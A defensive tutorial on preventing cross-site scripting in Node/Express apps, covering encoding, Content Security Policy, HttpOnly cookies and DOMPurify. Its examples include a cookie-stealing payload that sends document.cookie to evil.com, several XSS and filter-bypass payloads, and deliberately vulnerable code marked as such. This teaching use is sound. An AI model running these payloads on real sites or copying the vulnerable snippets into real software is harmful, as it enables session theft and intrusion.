Cross-Site Scripting Prevention: A Complete Guide
How cross-site scripting attacks work, the three XSS types, and the defense-in-depth strategies that actually prevent them in modern web applications.

Cross-site scripting remains the most common web vulnerability, appearing in roughly 40% of all web applications tested. Despite being understood for over two decades, XSS persists because the fundamental problem — mixing user data with code — is baked into how the web works. HTML, CSS, and JavaScript all share the same document, and the browser cannot distinguish between code you wrote and code an attacker injected.
The good news: modern defense-in-depth strategies make XSS exploitation significantly harder. The bad news: you need all of them, not just one.
The Three Types of XSS
Understanding the three attack vectors determines which defenses apply.
Reflected XSS
The script comes from the current HTTP request — typically a URL parameter rendered directly into the page.
// ❌ Vulnerable — user input rendered as HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
// URL: /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
});
// ✅ Safe — output encoding prevents script execution
import { encode } from 'html-entities';
app.get('/search', (req, res) => {
const query = encode(req.query.q as string);
res.send(`<h1>Results for: ${query}</h1>`);
// Renders: <script> — displayed as text, not executed
});Stored XSS
The script is stored in the database and served to other users. Comment sections, profile fields, and forum posts are classic targets.
// ❌ Stored XSS — malicious comment saved and rendered to all users
app.post('/comments', async (req, res) => {
await db.comments.create({ body: req.body.comment });
// If comment is: <img src=x onerror="stealCookies()">
// Every subsequent visitor executes the script
});
// ✅ Sanitize on input, encode on output
import DOMPurify from 'isomorphic-dompurify';
app.post('/comments', async (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
await db.comments.create({ body: sanitized });
});DOM-Based XSS
The script never goes to the server. Client-side JavaScript reads from an attacker-controlled source (URL, window.name, postMessage) and writes it to the DOM.
// ❌ DOM XSS — reads hash, writes to innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.innerHTML = userInput;
// URL: page.html#<img src=x onerror=alert(1)>
// ✅ Safe — use textContent instead of innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.textContent = userInput;
// Text is inserted as text, never parsed as HTMLOutput Encoding
The primary defense: encode user data based on the context where it appears. Different contexts require different encoding.
// Context-aware encoding — the output context determines the encoding
const encoders = {
// HTML context: <div>{userInput}</div>
html: (s: string) => s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, '''),
// Attribute context: <div data-value="{userInput}">
attribute: (s: string) => s
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, '''),
// JavaScript context: var x = '{userInput}'
javascript: (s: string) => JSON.stringify(s),
// URL parameter context: /search?q={userInput}
url: (s: string) => encodeURIComponent(s),
};// ❌ Wrong context encoding — HTML encoding in a URL parameter
const link = `<a href="/search?q=${encoders.html(userInput)}">Search</a>`;
// XSS possible: userInput = "test" onmouseover="alert(1)"
// ✅ Correct context — URL encoding for URL parameter
const link = `<a href="/search?q=${encoders.url(userInput)}">Search</a>`;React, Vue, and Angular handle HTML encoding automatically for interpolated expressions. But dangerouslySetInnerHTML, v-html, and [innerHTML] bypass this protection entirely — use them only with sanitized content.
Content Security Policy
CSP is your second line of defense. It tells the browser which scripts are allowed to execute, making injected scripts dead on arrival.
// Express CSP middleware
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
].join('; '));
next();
});<!-- Only scripts with the correct nonce execute -->
<script nonce="abc123">
// This executes — nonce matches
initApp();
</script>
<script>
// This is BLOCKED by CSP — no nonce
stealCookies();
</script>Start with Content-Security-Policy-Report-Only to monitor violations without breaking your site, then switch to enforcing mode:
// Report-only mode — logs violations without blocking
res.setHeader('Content-Security-Policy-Report-Only', [
`default-src 'self'`,
`script-src 'self'`,
`report-uri /api/csp-violations`,
].join('; '));
// Log CSP violations for analysis
app.post('/api/csp-violations', (req, res) => {
logger.warn('CSP violation', req.body);
res.status(204).send();
});Cookie Protection
Even if XSS bypasses your other defenses, proper cookie flags prevent the most damaging outcome — session hijacking.
// ❌ Cookies accessible to JavaScript — XSS can steal them
res.cookie('session', token, {
path: '/',
});
// ✅ Protected cookies — XSS cannot read or exfiltrate them
res.cookie('session', token, {
httpOnly: true, // Not accessible via document.cookie
secure: true, // Only sent over HTTPS
sameSite: 'lax', // Prevents CSRF
path: '/',
maxAge: 86400000, // 24 hours
});httpOnly is the critical flag. Without it, any XSS payload can exfiltrate session cookies with document.cookie.
Input Sanitization
When users need to submit rich content (Markdown, HTML), sanitize it to allow safe formatting while stripping dangerous elements.
import DOMPurify from 'isomorphic-dompurify';
// ❌ Naive sanitization — easy to bypass
function naiveSanitize(html: string): string {
return html.replace(/<script>/gi, '').replace(/<\/script>/gi, '');
// Bypassed by: <scr<script>ipt>alert(1)</scr</script>ipt>
}
// ✅ Use a battle-tested sanitization library
function sanitizeUserContent(html: string): string {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: [
'h2', 'h3', 'p', 'a', 'ul', 'ol', 'li',
'strong', 'em', 'code', 'pre', 'blockquote', 'br',
],
ALLOWED_ATTR: ['href', 'class'],
ALLOW_DATA_ATTR: false,
});
}Never write your own HTML sanitizer. Regex-based sanitization is always bypassable. DOMPurify parses HTML into a DOM tree and removes dangerous nodes — a fundamentally more robust approach.
Defense in Depth
No single defense prevents all XSS. Layer them:
| Defense | Prevents | Limitation |
|---|---|---|
| Output encoding | Reflected and stored XSS | Must use correct context |
| CSP with nonces | Inline script injection | Does not prevent DOM XSS |
| HttpOnly cookies | Session theft via XSS | Other data still accessible |
| Input sanitization | Stored XSS in rich content | Only for fields allowing HTML |
| Framework auto-escaping | Most template injection | Bypassed by raw HTML methods |
Key Takeaways
- Output encode based on context — HTML, attribute, URL, and JavaScript contexts each need different encoding
- Implement CSP with nonces — it blocks injected scripts even when encoding is missed
- Set HttpOnly on session cookies — prevents the most damaging XSS outcome (session theft)
- Use DOMPurify for rich content — never write your own HTML sanitizer
- Avoid innerHTML and dangerouslySetInnerHTML — use textContent or framework interpolation instead
- Layer defenses — no single technique prevents all XSS variants


